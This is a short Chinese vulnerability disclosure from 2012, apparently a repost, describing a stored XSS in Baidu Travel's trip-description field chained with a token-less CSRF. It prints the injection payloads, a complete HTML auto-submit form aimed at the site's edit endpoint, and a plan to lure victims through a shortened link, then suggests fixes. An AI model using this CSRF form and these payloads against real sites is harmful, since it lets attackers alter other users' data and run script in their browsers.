百度旅游中的基于CRSF的XSS攻击

2012-9-10 15:23:37 来源:网络转载 浏览:348
百度最新漏洞公布:百度旅游中的基于CRSF的XSS攻击。

简要描述:
用CSRF利用YY型XSS一处

详细说明:
是在旅游中旅程的编辑中YY的
作为一名新的web安全爱好者新手,看书之余,每天四处逛网站复制粘贴是必备的,发现有很多的XSS都是只能XSS自己,感觉很郁闷比如下面这一个百度旅游的。

百度旅游xss漏洞
在创建新的旅程的时候,将“旅程描述”这一栏设为
"/><IFRAME SRC=http://www.qq.com onload=alert(1898)></IFRAME>后,到浏览页面下查看发现已经被过滤了

百度旅游xss漏洞
但是在点击编辑之后,成功的弹出了如上窗口,查看源代码发现是desc木有过滤,导致出现了这个YY型的XSS。

百度旅游xss漏洞
如何利用这个YY型XSS呢。
在编辑提交之后我用Fiddler抓到了这样一个包:

百度旅游xss漏洞
木有token,除了最后一个是什么意思不明白其他还好说,我们到浏览页面源代码中搜索最下面的两个值,发现一个是trnid的值一个是sid的值,都是可以查到的,那么我就构建了一个表单:
<head>
<meta charset="GB2312"/>
<title>test</title>
</head>
<form method="post" action="http://lvyou.baidu.com/footprint/trip/post/editsave" target="_self">
<input name="start_time" value='1999-03-01'>
 <input name="time" value="102">
 <input name="time_unit" value="d">
 <input name="departure" value="">
 <input name="departure_sid" value="1fdbf740851f3e07d8d23ff7">
 <input name="desc" value=" ">
 <input name="zoom" value="5">
 <input name="trid" value="af3142e1dfcadf25f3208251">
 <input name="node_array[]" value="68be7ae3b9d414ff762fdd82,e1b1b2be2306a40f9b9d32db">
 <input name="submit" type="submit" value="submit" onclick=submit()/>
</form>
将desc的值设为"/><script/defer>alert(1898)</script>并修改其他值,点击提交之后发现旅程描述变了。

百度旅游xss漏洞
然后点开编辑发现成功弹窗

百度旅游xss漏洞
我们试想一下,我们找到一篇旅程,查看到他的各项参数,比如trid,nid等等,然后构造一个POST表单放入sinaapp中,设置成短网址后给这个人发一条评论,他点了之后自动提交表单,他的旅程描述就被改为了恶意代码,之后他发现不对,点击编辑改回去,恶意代码就执行了。

漏洞证明:
这个不好证明,其实很好自测的吧。
http://lvyou.baidu.com/user/trip/66a1950cff3325d7323ccbfb

修复方案:
1.弄掉CSRF
2.弄掉YY型XSS

(0)
(0)